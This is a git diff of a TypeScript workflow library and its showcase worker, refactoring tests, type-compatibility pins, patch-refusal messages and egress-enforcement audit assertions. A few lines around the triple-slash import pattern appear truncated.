fb4bdf7e..f3c18778 100644 --- a/packages/flowsafe/src/do-runner/execution-fence.test.ts +++ b/packages/flowsafe/src/do-runner/execution-fence.test.ts @@ -3136,16 +3136,68 @@ function siblingSource(file: string): string { ); } +/** + * Each pattern is one line form a TypeScript source names another module in: a + * `from` clause on an import or a re-export, a side-effect import, a dynamic + * import, a module augmentation, a triple-slash reference. A form missing from + * this list is an edge `declaredEdges` cannot see. + */ +const EDGE_PATTERNS: readonly RegExp[] = [ + /\bfrom\s*'([^']+)'\s*;?\s*$/, + /^\s*import\s*'([^']+)'\s*;?\s*$/, + /\bimport\(\s*'([^']+)'\s*\)/, + /^\s*declare\s+module\s+'([^']+)'/, + /^\s*\/\/\/\s* + EDGE_PATTERNS.map((pattern) => pattern.exec(line)?.[1]).filter( + (specifier): specifier is string => specifier !== undefined, + ), + ); +} + describe('start-reservation contract evidence', () => { + it('reads an edge out of each specifier form it lists', () => { + // The positive control for the case below: `architecture:check:rules` + // cruises packages but drops packages/flowsafe/src/**/*.test.ts, so no + // dependency-cruiser rule covers the leaf constraint and nothing outside + // this file checks the scan that does. A specifier form the patterns miss + // would leave that case green while the edge it forbids was added. + expect( + declaredEdges( + [ + "import { a } from './from-clause.js';", + "export type { B } from './re-export.js';", + "import './side-effect.js';", + "const c = await import('./dynamic.js');", + "declare module './augmented.js' {", + '/// ', + "const notAnEdge = 'plain string';", + ].join('\n'), + ), + ).toEqual([ + './from-clause.js', + './re-export.js', + './side-effect.js', + './dynamic.js', + './augmented.js', + 'triple-slash', + ]); + }); + it('keeps the reservation contract a leaf of three declared edges', () => { // Source edges, not a cycle check: a cycle rule admits a one-way edge from // this leaf into a store, a fence, Runtime or a capability, and admitting // one would put the fence's codecs behind the graph they decode for. Type- // only edges count — they are erased, and the boundary is not. - const edges = siblingSource('./start-reservation-contract.ts') - .split('\n') - .map((line) => / from '([^']+)';$/.exec(line)?.[1]) - .filter((specifier): specifier is string => specifier !== undefined); + const edges = declaredEdges( + siblingSource('./start-reservation-contract.ts'), + ); expect(edges).toEqual([ '../approval-api/principal-identity.js', './execution-admission.js', @@ -3162,8 +3214,9 @@ describe('start-reservation contract evidence', () => { }); it('publishes the reservation refusal constructor rather than a second copy', () => { - // A forwarding copy would satisfy every instanceof test inside the store - // and fail every one a consumer writes against the package surface. + // A forwarding copy would be a second constructor object: an instanceof + // written against the package surface would refuse the error the store + // threw. expect(BarrelStartReservationUnreadableError).toBe( StartReservationUnreadableError, ); diff --git a/packages/flowsafe/src/do-runner/sqlite-fixture.test.ts b/packages/flowsafe/src/do-runner/sqlite-fixture.test.ts index faf45253..48935e55 100644 --- a/packages/flowsafe/src/do-runner/sqlite-fixture.test.ts +++ b/packages/flowsafe/src/do-runner/sqlite-fixture.test.ts @@ -1,39 +1,14 @@ // SPDX-License-Identifier: Apache-2.0 import { describe, expect, it } from 'vitest'; -import { - openSqlite, - type SqliteUnitDatabase, - sqliteUnitDatabase, -} from '../../test-support/sqlite.js'; -import type { ResourceOwnershipDatabase } from '../approval-api/resource-ownership.js'; -import type { SignalDatabase } from '../signals/d1-shared.js'; -import type { ExecutionFenceDatabase } from './execution-fence.js'; +import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; import type { InitialAdmissionDatabase } from './fenced-workflow-capability.js'; -import type { SnapshotDatabase } from './workflow-snapshot-row.js'; -// The declared return of sqliteUnitDatabase is what the `as` assertion in each -// suite that drives it is checked against. These erased assertions hold the -// facade against the D1 subsets those suites name, so a narrowing of the facade -// fails here rather than at the assertion sites. `ScheduleDatabase` is an alias -// of `SignalDatabase` (schedules-d1.ts:87). Same technique as -// test-support/d1-type-compatibility.ts, which holds the D1 side of this seam. -type AssertTrue = T; -type _FacadeSatisfiesSignalDatabase = AssertTrue< - SqliteUnitDatabase extends SignalDatabase ? true : false ->; -type _FacadeSatisfiesSnapshotDatabase = AssertTrue< - SqliteUnitDatabase extends SnapshotDatabase ? true : false ->; -type _FacadeSatisfiesInitialAdmissionDatabase = AssertTrue< - SqliteUnitDatabase extends InitialAdmissionDatabase ? true : false ->; -type _FacadeSatisfiesExecutionFenceDatabase = AssertTrue< - SqliteUnitDatabase extends ExecutionFenceDatabase ? true : false ->; -type _FacadeSatisfiesResourceOwnershipDatabase = AssertTrue< - SqliteUnitDatabase extends ResourceOwnershipDatabase ? true : false ->; +// PLACEMENT: the erased pins that hold sqliteUnitDatabase's declared return +// against the D1 subsets these cases name live beside the D1 side of the same +// seam, in test-support/d1-type-compatibility.ts. `architecture:check:rules` +// drops packages/flowsafe/src/**/*.test.ts, so a pin written here would sit +// outside the graph that gate reads. describe('native SQLite unit batch transport', () => { it('returns actual rows, executes DML once and preserves changes through SELECT', async () => { diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts index 9754e405..02bc67ce 100644 --- a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts +++ b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts @@ -1545,6 +1545,20 @@ describe('createFlowsafeWorker maintenance duties', () => { }); }); + it('refuses the purge duty invoked with no context', async () => { + capturedLogs(); + const worker = makeWorker(); + const { env } = makeEnv(); + + // @ts-expect-error the purge duty takes a context carrying the seam + const outcome = await worker.runMaintenanceDuty('purge', env); + + expect(outcome).toEqual({ + ok: false, + error: 'retention purge requires advanceRetentionCursor', + }); + }); + it.each([ undefined, null, diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.ts index 69490493..d6e72c9c 100644 --- a/packages/flowsafe/src/host-kit/flowsafe-worker.ts +++ b/packages/flowsafe/src/host-kit/flowsafe-worker.ts @@ -667,9 +667,12 @@ export type MaintenanceDuty = 'deadline' | 'sweep' | 'purge' | 'tick'; /** * The cursor seam a duty resumes from and advances. Each field is optional - * because the deadline sweep and the retention purge own one pair each, and a + * because the deadline duty and the retention purge own one pair each, and a * caller driving one duty has nothing to say about the other's cursor. The * purge takes `MaintenancePurgeDutyContext` instead, which requires its half. + * The deadline duty reads `deadlineCursor` only alongside + * `advanceDeadlineCursor`: a cursor supplied without the callback that + * advances it is ignored. */ export interface MaintenanceDutyContext { deadlineCursor?: RunDeadlineCursor; @@ -683,8 +686,9 @@ export interface MaintenanceDutyContext { * because the layer it feeds requires it: `purgeExpiredWorkflowRuns` declares * `advanceCursor` non-optional (do-runner/d1-storage.ts), and a purge with * nowhere to record its progress rescans the same terminal rows on every - * alarm. Declaring it optional on the shared context and enforcing it at run - * time turned a host's wiring mistake into a purge that reports failure. + * alarm. The type keeps a typed host from omitting it; `hasRetentionCursorSeam` + * refuses an untyped one under `config-error` before any purge surface runs, + * rather than letting the purge report a `retention-purge` failure. */ export interface MaintenancePurgeDutyContext extends MaintenanceDutyContext { advanceRetentionCursor(cursor: RunRetentionCursor): Promise; diff --git a/packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts b/packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts index 2ad72e65..3613ff62 100644 --- a/packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts +++ b/packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts @@ -16,6 +16,7 @@ import { describe, expect, it, vi } from 'vitest'; import type { ThreadScope } from '../do-runner/index.js'; import { assertNotificationDeliveryPolicyPatched, + assertNotificationSourceKeysPatched, createNotificationDispatchTick, type NotificationDispatchTickOptions, } from './notification-dispatch.js'; @@ -24,11 +25,11 @@ import { createThreadSignalRoutes } from './thread-do-routes.js'; // The module shape both mock registrations build: `summarizeNotifications` // unpatched, or patched for the delivery-policy case, which reaches the // asynchronous probe only when the synchronous one passes. -const unpatchedNotifications = vi.hoisted( +const coreWithUnpatchedDeliveryPolicy = vi.hoisted( () => ( actual: typeof import('@mastra/core/notifications'), - patchedAccumulator: boolean, + { patchedAccumulator }: { patchedAccumulator: boolean }, ) => { const normalize = ( decision: NotificationDeliveryPolicyDecision, @@ -77,20 +78,24 @@ const unpatchedNotifications = vi.hoisted( ); vi.mock('@mastra/core/notifications', async (importOriginal) => - unpatchedNotifications( + coreWithUnpatchedDeliveryPolicy( await importOriginal(), - false, + { patchedAccumulator: false }, ), ); // Vitest caches a factory's result per registration, so a case that needs the // other accumulator registers its own factory rather than resetting modules // around a switch the cached result would keep ignoring. -const mockNotifications = (patchedAccumulator: boolean): void => { +const mockNotifications = ({ + patchedAccumulator, +}: { + patchedAccumulator: boolean; +}): void => { vi.doMock('@mastra/core/notifications', async (importOriginal) => - unpatchedNotifications( + coreWithUnpatchedDeliveryPolicy( await importOriginal(), - patchedAccumulator, + { patchedAccumulator }, ), ); vi.resetModules(); @@ -153,6 +158,16 @@ async function withCapturedErrors( return { response, logged }; } +/** The message an emitted refusal carries, for a byte-exact pin. */ +async function refusalMessage(refuse: () => unknown): Promise { + try { + await refuse(); + } catch (error) { + return String((error as Error).message); + } + throw new Error('the probe under test did not refuse'); +} + describe('notification dispatch against an unpatched @mastra/core', () => { it('refuses tick construction, naming the patch', () => { expect(() => createNotificationDispatchTick(tickOptions())).toThrow( @@ -242,12 +257,21 @@ describe('notification dispatch against an unpatched @mastra/core', () => { PATCH_MESSAGE, ); }); + + it('emits each refusal composed from the shared citation, byte for byte', async () => { + expect(await refusalMessage(assertNotificationSourceKeysPatched)).toBe( + 'notification dispatch requires the @mastra/core patch flowsafe ships; apply it at the application root (getting started: "Apply the flowsafe patch to @mastra/core")', + ); + expect(await refusalMessage(assertNotificationDeliveryPolicyPatched)).toBe( + 'notification ingestion requires the @mastra/core patch flowsafe ships; apply it at the application root (getting started: "Apply the flowsafe patch to @mastra/core")', + ); + }); }); describe('notification ingestion against a core patched for summaries alone', () => { it("refuses without reaching core's sender", async () => { const sendNotificationSignal = vi.fn(); - mockNotifications(true); + mockNotifications({ patchedAccumulator: true }); try { // Both probes memoize per module instance, and the instance the cases // above hold has recorded the summary half as unpatched, so this case @@ -283,7 +307,7 @@ describe('notification ingestion against a core patched for summaries alone', () expect(logged.some((line) => PATCH_MESSAGE.test(line))).toBe(true); expect(sendNotificationSignal).not.toHaveBeenCalled(); } finally { - mockNotifications(false); + mockNotifications({ patchedAccumulator: false }); } }); }); diff --git a/packages/flowsafe/src/signals/notification-dispatch.ts b/packages/flowsafe/src/signals/notification-dispatch.ts index 0ad35cb5..63582f8d 100644 --- a/packages/flowsafe/src/signals/notification-dispatch.ts +++ b/packages/flowsafe/src/signals/notification-dispatch.ts @@ -470,6 +470,10 @@ const SOURCE_KEY_PROBE: NotificationRecord = { createdAt: new Date(0), updatedAt: new Date(0), }; +// The getting-started citation both patch refusals carry. +const PATCH_CITATION = + 'apply it at the application root (getting started: "Apply the flowsafe patch to @mastra/core")'; + let sourceKeysPatched: boolean | undefined; export function assertNotificationSourceKeysPatched(): void { @@ -478,7 +482,7 @@ export function assertNotificationSourceKeysPatched(): void { 'number'; if (!sourceKeysPatched) { throw new TypeError( - 'notification dispatch requires the @mastra/core patch flowsafe ships; apply it at the application root (getting started: "Apply the flowsafe patch to @mastra/core")', + `notification dispatch requires the @mastra/core patch flowsafe ships; ${PATCH_CITATION}`, ); } } @@ -490,8 +494,8 @@ let deliveryPolicyPatched: Promise | undefined; * resolveNotificationDeliveryDecision guards its own keys, so a source named * after an Object.prototype member resolves the configured default instead * of the inherited member. The lookup is asynchronous, so this probe is the - * async sibling of assertNotificationSourceKeysPatched and is consulted at - * the async handlers that reach the sender. + * async sibling of assertNotificationSourceKeysPatched, awaited before a + * handler reaches core's sender. */ export async function assertNotificationDeliveryPolicyPatched(): Promise { deliveryPolicyPatched ??= resolveNotificationDeliveryDecision({ @@ -505,7 +509,7 @@ export async function assertNotificationDeliveryPolicyPatched(): Promise { ); if (!(await deliveryPolicyPatched)) { throw new TypeError( - 'notification ingestion requires the @mastra/core patch flowsafe ships; apply it at the application root (getting started: "Apply the flowsafe patch to @mastra/core")', + `notification ingestion requires the @mastra/core patch flowsafe ships; ${PATCH_CITATION}`, ); } } diff --git a/packages/flowsafe/src/signals/notification-source-keys.test.ts b/packages/flowsafe/src/signals/notification-source-keys.test.ts index 167342d4..9a6ce124 100644 --- a/packages/flowsafe/src/signals/notification-source-keys.test.ts +++ b/packages/flowsafe/src/signals/notification-source-keys.test.ts @@ -71,7 +71,8 @@ const modules: Array<[string, typeof esm]> = [ // The getting-started guide's confirmation record. With the patch applied, // `bySource.constructor` carries this record's own count instead of the -// inherited Object.prototype member. +// inherited Object.prototype member, and core's own source-policy lookup +// resolves the configured action instead of that member. const PATCH_PROBE: NotificationRecord = { id: 'n', threadId: 't', diff --git a/packages/flowsafe/src/signals/thread-do-routes.ts b/packages/flowsafe/src/signals/thread-do-routes.ts index 38ac9e6d..7669eee4 100644 --- a/packages/flowsafe/src/signals/thread-do-routes.ts +++ b/packages/flowsafe/src/signals/thread-do-routes.ts @@ -1036,7 +1036,6 @@ async function handleNotificationDispatch(options: { } assertNotificationSourceKeysPatched(); - await assertNotificationDeliveryPolicyPatched(); const deliveryStorage = captureNotificationDeliveryStorage(options.storage); const selections: ReturnType[] = []; diff --git a/packages/flowsafe/test-support/d1-type-compatibility.ts b/packages/flowsafe/test-support/d1-type-compatibility.ts index 1aab2105..5bd80271 100644 --- a/packages/flowsafe/test-support/d1-type-compatibility.ts +++ b/packages/flowsafe/test-support/d1-type-compatibility.ts @@ -6,14 +6,22 @@ // names. `ScheduleDatabase` is an alias of `SignalDatabase` (schedules-d1.ts), // so the signal pin covers it. Same technique as the R2 seam beside this file // and the runtime pins in src/do-runner/cf-types.ts. +// +// PLACEMENT: an erased pin on a database seam belongs in this file, not in the +// suite that drives the seam. `architecture:check:rules` cruises `packages` but +// drops packages/flowsafe/src/**/*.test.ts, so a pin written in a suite sits +// outside the graph that gate reads and its edges go uncruised. import type { D1Database } from '@cloudflare/workers-types'; +import type { ResourceOwnershipDatabase } from '../src/approval-api/index.js'; import type { + ExecutionFenceDatabase, InitialAdmissionDatabase, SnapshotDatabase, SnapshotStatement, } from '../src/do-runner/index.js'; import type { SignalDatabase, SignalStatement } from '../src/signals/index.js'; +import type { SqliteUnitDatabase } from './sqlite.js'; type AssertTrue = T; type _D1SatisfiesSignalDatabase = AssertTrue< @@ -52,3 +60,24 @@ type _MetaOnlyAdapterFailsSnapshotDatabase = AssertFalse< type _MetaOnlyAdapterFailsInitialAdmissionDatabase = AssertFalse< MetaOnlySnapshotAdapter extends InitialAdmissionDatabase ? true : false >; + +// The fixture side of the same seam. The declared return of sqliteUnitDatabase +// is what the `as` assertion in each suite that drives it is checked against, +// so a narrowing of the facade fails here rather than at the assertion sites. +// `ScheduleDatabase` is an alias of `SignalDatabase` (schedules-d1.ts), as +// above. +type _FacadeSatisfiesSignalDatabase = AssertTrue< + SqliteUnitDatabase extends SignalDatabase ? true : false +>; +type _FacadeSatisfiesSnapshotDatabase = AssertTrue< + SqliteUnitDatabase extends SnapshotDatabase ? true : false +>; +type _FacadeSatisfiesInitialAdmissionDatabase = AssertTrue< + SqliteUnitDatabase extends InitialAdmissionDatabase ? true : false +>; +type _FacadeSatisfiesExecutionFenceDatabase = AssertTrue< + SqliteUnitDatabase extends ExecutionFenceDatabase ? true : false +>; +type _FacadeSatisfiesResourceOwnershipDatabase = AssertTrue< + SqliteUnitDatabase extends ResourceOwnershipDatabase ? true : false +>; diff --git a/packages/flowsafe/test-support/durable-key-value-storage.ts b/packages/flowsafe/test-support/durable-key-value-storage.ts index 30170485..b702a923 100644 --- a/packages/flowsafe/test-support/durable-key-value-storage.ts +++ b/packages/flowsafe/test-support/durable-key-value-storage.ts @@ -1,5 +1,5 @@ // SPDX-License-Identifier: Apache-2.0 -// The in-memory DurableKeyValueStorage every Durable Object suite drives. +// An in-memory DurableKeyValueStorage for Durable Object suites. // // Durable Object storage serializes on write and hands back a fresh object on // read, so this fixture clones in both directions. One that stored and returned @@ -25,8 +25,6 @@ export interface DurableKeyValueStorageFixture { values: Map; /** Each armed alarm time, in call order; `deleteAlarm` leaves them recorded. */ alarms: number[]; - /** `get:`, `put:`, `delete:`, `setAlarm`, `deleteAlarm`. */ - events: string[]; } export function durableKeyValueStorageFixture( @@ -62,6 +60,5 @@ export function durableKeyValueStorageFixture( state: { storage } as unknown as DurableObjectState, values, alarms, - events, }; } diff --git a/packages/flowsafe/tsconfig.test.json b/packages/flowsafe/tsconfig.test.json index a01f2bde..fa5f08a5 100644 --- a/packages/flowsafe/tsconfig.test.json +++ b/packages/flowsafe/tsconfig.test.json @@ -31,6 +31,7 @@ "include": [ "src", "examples", + "vitest.config.ts", "test-support/d1-type-compatibility.ts", "test-support/r2-type-compatibility.ts", "deploy/worker.ts", diff --git a/packages/showcase/worker/worker.fetch.e2e.test.ts b/packages/showcase/worker/worker.fetch.e2e.test.ts index 1ad1492d..ca8248ca 100644 --- a/packages/showcase/worker/worker.fetch.e2e.test.ts +++ b/packages/showcase/worker/worker.fetch.e2e.test.ts @@ -4,101 +4,16 @@ // the routers directly. The prepared-statement SQLite adapter is unit-only; // D1/workerd and Durable Object fidelity live in worker.harness.test.ts. +import { + openSqlite, + type SqliteDatabase, + sqliteUnitDatabase, +} from '@flowsafe-test/sqlite.js'; import { D1ApprovalStoreFactory } from '@proofoftech/flowsafe/approval-api'; import { describe, expect, it, vi } from 'vitest'; import { STATE_COOKIE } from '#worker/demo-auth'; import handler, { ShowcaseRunner } from '#worker/worker'; -// The node:sqlite-backed D1 facade this suite drives, matching -// packages/agent-starter/test/sqlite.ts — the retained source — byte for byte -// from `interface SqliteStatement` to the end of `sqliteUnitDatabase`. -// showcase declares no dependency on anchorage-agent-starter, and that package -// publishes no `exports` entry, so no specifier resolves it from here. -interface SqliteStatement { - get(...params: unknown[]): unknown; - all(...params: unknown[]): unknown[]; -} - -export interface SqliteDatabase { - prepare(sql: string): SqliteStatement; - exec(sql: string): void; -} - -export function openSqlite(): SqliteDatabase { - const getBuiltin = ( - globalThis as { - process?: { getBuiltinModule?: (id: string) => unknown }; - } - ).process?.getBuiltinModule; - if (!getBuiltin) { - throw new Error('node:sqlite unavailable; tests require Node.js 22.13+'); - } - const mod = getBuiltin('node:sqlite') as { - DatabaseSync: new (path: string) => SqliteDatabase; - }; - return new mod.DatabaseSync(':memory:'); -} - -export function sqliteUnitDatabase(db: SqliteDatabase): unknown { - const runSync = Symbol('runSync'); - - function statement(sql: string, params: unknown[]): Record { - const execute = () => { - const results = db.prepare(sql).all(...params); - const outcome = db.prepare('SELECT changes() AS count').get() as { - count: number | bigint; - }; - return { - success: true, - results, - meta: { changes: Number(outcome.count) }, - }; - }; - return { - bind: (...values: unknown[]) => statement(sql, values), - first: async (column?: string) => { - const row = db.prepare(sql).get(...params) as - | Record - | undefined; - if (row === undefined) return null; - return column === undefined ? row : (row[column] ?? null); - }, - run: async () => execute(), - [runSync]: execute, - all: async () => ({ - success: true, - results: db.prepare(sql).all(...params), - meta: {}, - }), - }; - } - - return { - prepare: (sql: string) => statement(sql, []), - batch: async ( - statements: Array<{ - run: () => Promise; - [runSync]?: () => unknown; - }>, - ) => { - db.exec('BEGIN IMMEDIATE'); - try { - const results = []; - for (const prepared of statements) { - results.push( - prepared[runSync] ? prepared[runSync]() : await prepared.run(), - ); - } - db.exec('COMMIT'); - return results; - } catch (error) { - db.exec('ROLLBACK'); - throw error; - } - }, - }; -} - function required(value: T | undefined): T { if (value === undefined) throw new Error('handler method missing'); return value; @@ -185,8 +100,8 @@ async function call( return response as unknown as Response; } -// The facade above is a copy, not an import, so pin the result shape its D1 -// consumers read: a drift in either copy fails here. +// The shared node:sqlite fixture backs this suite's DB, so pin the result +// shape its D1 consumers read. describe('the node:sqlite D1 facade', () => { interface PreparedResult { success: boolean; diff --git a/packages/showcase/worker/workflows.e2e.test.ts b/packages/showcase/worker/workflows.e2e.test.ts index cb23546c..3c142576 100644 --- a/packages/showcase/worker/workflows.e2e.test.ts +++ b/packages/showcase/worker/workflows.e2e.test.ts @@ -276,7 +276,10 @@ describe('product-launch: two approval gates re-queued through host-kit', () => expect.objectContaining({ resource: DEPLOY_CONNECTOR, decision: 'allowed', - detail: expect.objectContaining({ dryRun: true }), + detail: expect.objectContaining({ + dryRun: true, + egressEnforcement: 'declaration-only', + }), }), ); @@ -375,10 +378,12 @@ describe('access-request: gated grant with cross-workflow isolation', () => { granted: true, resource: 'prod-database', }); + // #then — the grant connector's declared 'enforced' posture reaches audit expect(harness.audit.events()).toContainEqual( expect.objectContaining({ resource: ACCESS_CONNECTOR, decision: 'allowed', + detail: expect.objectContaining({ egressEnforcement: 'enforced' }), }), ); }); diff --git a/packages/showcase/worker/workflows/access-request.ts b/packages/showcase/worker/workflows/access-request.ts index cc02f1dc..301d9669 100644 --- a/packages/showcase/worker/workflows/access-request.ts +++ b/packages/showcase/worker/workflows/access-request.ts @@ -59,7 +59,7 @@ export const accessRequestModule: WorkflowModule = { permissions: { sideEffect: 'write', // execute logs the grant and returns; no HTTP request leaves this - // connector, so none goes around runtime.fetch. + // connector. egressEnforcement: 'enforced', requiresApproval: true, }, diff --git a/packages/showcase/worker/workflows/lead-generation.ts b/packages/showcase/worker/workflows/lead-generation.ts index 7bf91807..9101494b 100644 --- a/packages/showcase/worker/workflows/lead-generation.ts +++ b/packages/showcase/worker/workflows/lead-generation.ts @@ -89,8 +89,7 @@ export const leadGenerationModule: WorkflowModule = { requiresApproval: true, egress: [CRM_HOST], // The assign rides the host-supplied crm.fetch, a transport the egress - // guard never sees, so the host above is checked against organization - // policy, never against the socket. + // guard never sees. egressEnforcement: 'declaration-only', rateLimit: '5/min', }, diff --git a/packages/showcase/worker/workflows/product-launch.ts b/packages/showcase/worker/workflows/product-launch.ts index eb002974..709572c7 100644 --- a/packages/showcase/worker/workflows/product-launch.ts +++ b/packages/showcase/worker/workflows/product-launch.ts @@ -68,8 +68,7 @@ export const productLaunchModule: WorkflowModule = { requiresApproval: true, egress: [DEPLOY_HOST], // The webhook rides the host-supplied deploy.fetch, a transport the - // egress guard never sees, so the host above is checked against - // organization policy, never against the socket. + // egress guard never sees. egressEnforcement: 'declaration-only', idempotencyKey: true, dryRun: true,